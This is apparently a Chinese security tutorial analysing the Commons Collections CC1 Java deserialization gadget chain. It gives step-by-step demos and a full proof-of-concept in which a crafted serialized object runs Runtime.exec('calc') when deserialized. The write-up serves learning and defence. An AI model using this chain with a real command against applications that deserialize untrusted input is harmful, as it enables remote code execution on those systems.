组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

        Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

导入Maven依赖

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

当然也可以 用传统的 lib包下导入add as a library

CC1链 利用过程分析:

0x01 Transformer接口

Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

package org.apache.commons.collections;public interface Transformer {public Object transform(Object input);}

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap 。

ConstantTransformer类

关键代码如下:

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant

这个常量在构造函数当中

ChainedTransformer类

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。

InvokerTransformer类

我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。

为什么说是可控的呢?我们看它的构造方法就会明白。

这里其实就是一个很标准的任意方法调用。

例子1:

利用该方法弹出计算器:

import org.apache.commons.collections.functors.InvokerTransformer;public class demo01 {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);}
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。

假如再寻找的过程中 a方法 调用了 transform,那么我们就要继续寻找 谁调用了 a 方法,最终找到 readObject 方法。

最终是可以发现Map类中可以入手的(前辈们找到的)

0x02 TransformedMap类

TransformedMap 中 checkSetValue 中调用了 transform 方法

TransformedMap 构造函数

我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate

0x03 AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下(再去翻代码是有一些繁琐的)

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

发现这一点的话,我们就可以通过遍历Map来触发代码的执行。

例子2:

我们写一个例子帮助理解一下。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class demo01 {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 以下步骤就相当于 invokerTransformer.transform(runtime);HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);// 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(runtime);}}
}

0x04 AnnotationInvocationHandler类

回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法掉用。

打断一下——下载源码,帮助调试

这里需要我们自己加入sun包的源码,因为一些原因IDEA中是没有一部分包(这里重点是sun包)的java文件,只有class文件。所以调试时会遇到找不到的问题,我们必须手动添加源码。

源码下载地址:

下载版本相对应的源码

jdk8u/jdk8u/jdk: af660750b2f4

 解压后拷贝sun包

拷贝到jdk8u66的src文件下

IDEA中将src路径加入

这样我们在调试的时候就可以看到sun包的源码了,同时发现了 AnnotationInvocationHandler 中的 readObject 调用了setValue 方法,我们也是成功找到了readObject方法。

回归正题

接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。

先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。

同时在readObject方法,我们也发现Map的遍历

例子3

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class demo01 {public static void main(String[] args) throws Exception {//演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//创建构造器Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);//保证可以访问到annotationInvocationHandlerConstructor.setAccessible(true);//实例化传参,注解和构造好的MapObject o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);//正常序列化与反序列化serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws Exception {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

0x05 结束

其实到这里以及分析的差不多了,只有一些小问题需要我们去解决。

第一点:通过 InvokerTransformer方法获取runtime实例,并执行代码

第二点:readObject方法中有两个if判断,我们需要满足两个 if判断 才能成功执行serValue方法,这个地方可以自己DeBug一下。

第三点,readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class

最后献上完整代码:

package cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class demo01 {public static void main(String[] args) throws Exception {//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");//        //InvokerTransformer方法获取runtime实例,并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);HashMap<Object, Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//创建构造器Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);//保证可以访问到annotationInvocationHandlerConstructor.setAccessible(true);//实例化传参,注解和构造好的MapObject o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws Exception {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

Java安全入门(二)——CC链1 分析+详解相关推荐

  1. java加密算法入门(三)-非对称加密详解

    1.简单介绍 这几天一直在看非对称的加密,相比之前的两篇内容,这次看了两倍多的时间还云里雾里的,所以这篇文章相对之前的两篇,概念性的东西多了些,另外是代码的每一步我都做了介绍,方便自己以后翻阅,也方便 ...

  2. Java小白入门200例69之构造方法详解

    作者简介 作者名:编程界明世隐 简介:CSDN博客专家,从事软件开发多年,精通Java.JavaScript,博主也是从零开始一步步把学习成长.深知学习和积累的重要性,喜欢跟广大ADC一起打野升级,欢 ...

  3. Java多线程入门二

    Java多线程入门二 基类 package com.cv.DuoXianCheng;import lombok.extern.slf4j.Slf4j;@Slf4j public class Hero ...

  4. python数据挖掘课程】二十一.朴素贝叶斯分类器详解及中文文本舆情分析

    #2018-04-06 13:52:30 April Friday the 14 week, the 096 day SZ SSMR python数据挖掘课程]二十一.朴素贝叶斯分类器详解及中文文本舆 ...

  5. 【小白入门】超详细的OCRnet详解(含代码分析)

    [小白入门]超详细的OCRnet详解(含代码分析) OCRnet 简介 网络结构 具体实现(含代码分析) 实验结果 本文仅梳理总结自己在学习过程中的一些理解和思路,不保证绝对正确,请酌情参考.如果各位 ...

  6. HTTP协议版本介绍以及使用Wireshark工具针对HTTP进行抓包分析详解

    一.http协议版本介绍 http:Hyper Text Transfer Protocol 超文本传输协议,是互联网应用最为广泛的一种网络协议,主要用于Web服务.通过计算机处理文本信息,格式为HT ...

  7. Spring Cloud Eureka 入门 (三)服务消费者详解

    2019独角兽企业重金招聘Python工程师标准>>> 摘要: 原创出处:www.bysocket.com 泥瓦匠BYSocket 希望转载,保留摘要,谢谢! "真正的进步 ...

  8. Java开源生鲜电商平台-Java分布式以及负载均衡架构与设计详解(源码可下载)

    Java开源生鲜电商平台-Java分布式以及负载均衡架构与设计详解(源码可下载) 说明:主要是针对一些中大型的项目需要进行分布式以及负载均衡的架构提一些思路与建议. 面对大量用户访问.高并发请求,海量 ...

  9. 线程组ThreadGroup分析详解 多线程中篇(三)

    线程组,顾名思义,就是线程的组,逻辑类似项目组,用于管理项目成员,线程组就是用来管理线程. 每个线程都会有一个线程组,如果没有设置将会有些默认的初始化设置 而在java中线程组则是使用类ThreadG ...

最新文章

  1. c++重载运算符_Chapter13:重载——入门(一)
  2. Instruments模板介绍(更新中...)
  3. SWISHMAX2脚本整理及Swishmax使用技巧
  4. 避开这2个误区,测试目标 KPI 不再难设
  5. 共筑计算新生态 共赢数字新时代
  6. 合并K个有序数组(链表)【字节跳动面试算法题】
  7. IIS: 必须输入密码手动设置密码同步后
  8. Java 静态代码块和非静态代码块
  9. 手机号空号检测的几点建议
  10. 联想小新13pro锐龙版网卡_4499元诠释极致性价比 联想小新Pro 13标压锐龙版上手...
  11. HDU:1222wolfnbsp;andnbsp;habbit解题报告
  12. 小福利,制作词云图的第三种方法---stylecloud库,两行代码制作词云图
  13. 逆水寒服务器列表文件,逆水寒9月20日服务器合并结果公告一览 逆水寒9.20合服大全有哪些...
  14. 有没有什么软件可以把视频转文字?看看这些转换软件
  15. AD(九)原理图Value值核对、网路编号核对、元件名称核对
  16. No valid crumb was included in the request 问题定位与解决
  17. SM2国密算法加解密
  18. A44-网页前端第四次笔记
  19. vue+mintui+picker弹框选择器
  20. 原生简单实现滑动解锁,和滑动拼图解锁

热门文章

  1. java 外卖_java实现外卖订餐系统
  2. 什么是HRMS?哪些工作需要使用HRMS?
  3. springboot Interceptor拦截器excludePathPatterns失效
  4. Everything下载安装(强烈推荐的本地文件查询软件)
  5. Java项目-王者荣耀源码分享~Java项目开发
  6. 区块链教程、区块链指南、区块链中文手册、区块链原理
  7. C语言学习:用C语言实现简单的计算器
  8. 王道考研 操作系统知识点汇总(目录+思维导图)
  9. Axure 自定义元件库
  10. java 集成MinIo